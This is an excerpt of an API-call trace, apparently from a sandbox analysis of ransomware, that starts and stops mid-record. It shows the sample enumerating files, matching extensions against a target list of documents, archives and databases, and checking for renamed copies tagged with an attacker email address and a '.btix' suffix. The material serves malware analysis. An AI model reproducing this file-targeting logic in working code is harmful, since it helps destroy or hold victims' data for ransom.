(lpString=".dbf") returned 4 [0128.251] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0128.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0128.251] lstrlenW (lpString=".1cd") returned 4 [0128.251] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0128.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0128.251] lstrlenW (lpString=".jpg") returned 4 [0128.251] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0128.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0128.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0128.251] lstrlenW (lpString=".doc") returned 4 [0128.251] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0128.251] lstrlenW (lpString=".docx") returned 5 [0128.251] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0128.251] lstrlenW (lpString=".pdf") returned 4 [0128.251] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0128.251] lstrlenW (lpString=".xls") returned 4 [0128.251] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0128.251] lstrlenW (lpString=".xlsx") returned 5 [0128.251] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0128.251] lstrlenW (lpString=".ppt") returned 4 [0128.251] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0128.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0128.251] lstrlenW (lpString=".zip") returned 4 [0128.251] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0128.251] lstrlenW (lpString=".rar") returned 4 [0128.251] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0128.251] lstrlenW (lpString=".bz2") returned 4 [0128.251] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0128.251] lstrlenW (lpString=".7z") returned 3 [0128.252] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0128.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0128.252] lstrlenW (lpString=".dbf") returned 4 [0128.252] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0128.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0128.252] lstrlenW (lpString=".1cd") returned 4 [0128.252] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0128.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0128.252] lstrlenW (lpString=".jpg") returned 4 [0128.252] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0128.252] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0128.252] lstrlenW (lpString="boxed-split.avi") returned 15 [0128.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0128.252] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=84190) returned 1 [0128.252] CloseHandle (hObject=0x394) returned 1 [0128.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0128.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0128.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0128.253] lstrlenW (lpString=".doc") returned 4 [0128.253] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0128.253] lstrlenW (lpString=".docx") returned 5 [0128.253] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0128.253] lstrlenW (lpString=".pdf") returned 4 [0128.253] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0128.253] lstrlenW (lpString=".xls") returned 4 [0128.253] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0128.253] lstrlenW (lpString=".xlsx") returned 5 [0128.253] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0128.253] lstrlenW (lpString=".ppt") returned 4 [0128.253] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0128.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0128.253] lstrlenW (lpString=".zip") returned 4 [0128.253] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0128.253] lstrlenW (lpString=".rar") returned 4 [0128.253] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0128.253] lstrlenW (lpString=".bz2") returned 4 [0128.253] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0128.253] lstrlenW (lpString=".7z") returned 3 [0128.254] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0128.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0128.254] lstrlenW (lpString=".dbf") returned 4 [0128.254] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0128.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0128.254] lstrlenW (lpString=".1cd") returned 4 [0128.254] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0128.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0128.254] lstrlenW (lpString=".jpg") returned 4 [0128.254] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0128.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0128.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0128.254] lstrlenW (lpString=".doc") returned 4 [0128.254] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0128.254] lstrlenW (lpString=".docx") returned 5 [0128.254] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0128.254] lstrlenW (lpString=".pdf") returned 4 [0128.254] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0128.254] lstrlenW (lpString=".xls") returned 4 [0128.254] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0128.254] lstrlenW (lpString=".xlsx") returned 5 [0128.254] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0128.254] lstrlenW (lpString=".ppt") returned 4 [0128.254] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0128.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0128.254] lstrlenW (lpString=".zip") returned 4 [0128.254] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0128.254] lstrlenW (lpString=".rar") returned 4 [0128.254] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0128.255] lstrlenW (lpString=".bz2") returned 4 [0128.255] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0128.255] lstrlenW (lpString=".7z") returned 3 [0128.255] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0128.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0128.255] lstrlenW (lpString=".dbf") returned 4 [0128.255] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0128.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0128.255] lstrlenW (lpString=".1cd") returned 4 [0128.255] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0128.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0128.255] lstrlenW (lpString=".jpg") returned 4 [0128.255] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0128.255] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0128.255] lstrlenW (lpString="correct.avi") returned 11 [0128.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0128.255] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=180172) returned 1 [0128.255] CloseHandle (hObject=0x394) returned 1 [0128.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0128.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0128.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0128.256] lstrlenW (lpString=".doc") returned 4 [0128.256] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0128.256] lstrlenW (lpString=".docx") returned 5 [0128.256] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0128.256] lstrlenW (lpString=".pdf") returned 4 [0128.256] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0128.256] lstrlenW (lpString=".xls") returned 4 [0128.256] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0128.256] lstrlenW (lpString=".xlsx") returned 5 [0128.256] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0128.256] lstrlenW (lpString=".ppt") returned 4 [0128.256] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0128.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0128.256] lstrlenW (lpString=".zip") returned 4 [0128.256] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0128.256] lstrlenW (lpString=".rar") returned 4 [0128.256] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0128.256] lstrlenW (lpString=".bz2") returned 4 [0128.256] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0128.256] lstrlenW (lpString=".7z") returned 3 [0128.257] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0128.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0128.257] lstrlenW (lpString=".dbf") returned 4 [0128.257] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0128.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0128.257] lstrlenW (lpString=".1cd") returned 4 [0128.257] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0128.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0128.257] lstrlenW (lpString=".jpg") returned 4 [0128.257] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0128.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0128.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0128.257] lstrlenW (lpString=".doc") returned 4 [0128.257] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0128.257] lstrlenW (lpString=".docx") returned 5 [0128.257] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0128.257] lstrlenW (lpString=".pdf") returned 4 [0128.257] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0128.257] lstrlenW (lpString=".xls") returned 4 [0128.257] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0128.257] lstrlenW (lpString=".xlsx") returned 5 [0128.257] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0128.257] lstrlenW (lpString=".ppt") returned 4 [0128.257] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0128.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0128.257] lstrlenW (lpString=".zip") returned 4 [0128.257] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0128.257] lstrlenW (lpString=".rar") returned 4 [0128.258] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0128.258] lstrlenW (lpString=".bz2") returned 4 [0128.258] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0128.258] lstrlenW (lpString=".7z") returned 3 [0128.258] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0128.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0128.258] lstrlenW (lpString=".dbf") returned 4 [0128.258] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0128.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0128.258] lstrlenW (lpString=".1cd") returned 4 [0128.258] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0128.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0128.258] lstrlenW (lpString=".jpg") returned 4 [0128.258] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0128.258] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0128.258] lstrlenW (lpString="delete.avi") returned 10 [0128.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0128.258] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=208408) returned 1 [0128.258] CloseHandle (hObject=0x394) returned 1 [0128.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0128.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0128.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0128.259] lstrlenW (lpString=".doc") returned 4 [0128.259] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0128.259] lstrlenW (lpString=".docx") returned 5 [0128.259] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0128.259] lstrlenW (lpString=".pdf") returned 4 [0128.259] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0128.259] lstrlenW (lpString=".xls") returned 4 [0128.259] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0128.259] lstrlenW (lpString=".xlsx") returned 5 [0128.259] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0128.259] lstrlenW (lpString=".ppt") returned 4 [0128.259] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0128.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0128.259] lstrlenW (lpString=".zip") returned 4 [0128.259] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0128.259] lstrlenW (lpString=".rar") returned 4 [0128.259] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0128.259] lstrlenW (lpString=".bz2") returned 4 [0128.259] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0128.259] lstrlenW (lpString=".7z") returned 3 [0128.260] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0128.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0128.260] lstrlenW (lpString=".dbf") returned 4 [0128.260] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0128.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0128.260] lstrlenW (lpString=".1cd") returned 4 [0128.260] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0128.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0128.260] lstrlenW (lpString=".jpg") returned 4 [0128.260] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0128.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0128.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0128.260] lstrlenW (lpString=".doc") returned 4 [0128.260] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0128.260] lstrlenW (lpString=".docx") returned 5 [0128.260] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0128.260] lstrlenW (lpString=".pdf") returned 4 [0128.260] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0128.260] lstrlenW (lpString=".xls") returned 4 [0128.260] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0128.260] lstrlenW (lpString=".xlsx") returned 5 [0128.260] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0128.260] lstrlenW (lpString=".ppt") returned 4 [0128.260] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0128.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0128.260] lstrlenW (lpString=".zip") returned 4 [0128.260] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0128.260] lstrlenW (lpString=".rar") returned 4 [0128.260] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0128.260] lstrlenW (lpString=".bz2") returned 4 [0128.260] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0128.261] lstrlenW (lpString=".7z") returned 3 [0128.261] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0128.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0128.261] lstrlenW (lpString=".dbf") returned 4 [0128.261] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0128.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0128.261] lstrlenW (lpString=".1cd") returned 4 [0128.261] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0128.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0128.261] lstrlenW (lpString=".jpg") returned 4 [0128.261] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0128.261] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0128.261] lstrlenW (lpString="join.avi") returned 8 [0128.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0128.261] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=199994) returned 1 [0128.261] CloseHandle (hObject=0x394) returned 1 [0128.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0128.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0128.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0128.262] lstrlenW (lpString=".doc") returned 4 [0128.262] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0128.262] lstrlenW (lpString=".docx") returned 5 [0128.262] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0128.262] lstrlenW (lpString=".pdf") returned 4 [0128.262] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0128.262] lstrlenW (lpString=".xls") returned 4 [0128.262] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0128.262] lstrlenW (lpString=".xlsx") returned 5 [0128.262] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0128.262] lstrlenW (lpString=".ppt") returned 4 [0128.262] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0128.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0128.262] lstrlenW (lpString=".zip") returned 4 [0128.262] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0128.262] lstrlenW (lpString=".rar") returned 4 [0128.262] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0128.262] lstrlenW (lpString=".bz2") returned 4 [0128.262] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0128.262] lstrlenW (lpString=".7z") returned 3 [0128.262] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0128.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0128.263] lstrlenW (lpString=".dbf") returned 4 [0128.263] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0128.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0128.263] lstrlenW (lpString=".1cd") returned 4 [0128.263] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0128.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0128.263] lstrlenW (lpString=".jpg") returned 4 [0128.263] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0128.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0128.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0128.263] lstrlenW (lpString=".doc") returned 4 [0128.263] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0128.263] lstrlenW (lpString=".docx") returned 5 [0128.263] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0128.263] lstrlenW (lpString=".pdf") returned 4 [0128.263] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0128.263] lstrlenW (lpString=".xls") returned 4 [0128.263] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0128.263] lstrlenW (lpString=".xlsx") returned 5 [0128.263] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0128.263] lstrlenW (lpString=".ppt") returned 4 [0128.263] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0128.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0128.263] lstrlenW (lpString=".zip") returned 4 [0128.263] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0128.263] lstrlenW (lpString=".rar") returned 4 [0128.263] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0128.263] lstrlenW (lpString=".bz2") returned 4 [0128.263] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0128.264] lstrlenW (lpString=".7z") returned 3 [0128.264] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0128.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0128.264] lstrlenW (lpString=".dbf") returned 4 [0128.264] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0128.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0128.264] lstrlenW (lpString=".1cd") returned 4 [0128.264] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0128.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0128.264] lstrlenW (lpString=".jpg") returned 4 [0128.264] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0128.264] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0128.264] lstrlenW (lpString="split.avi") returned 9 [0128.264] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0128.264] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=181964) returned 1 [0128.265] CloseHandle (hObject=0x394) returned 1 [0128.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft 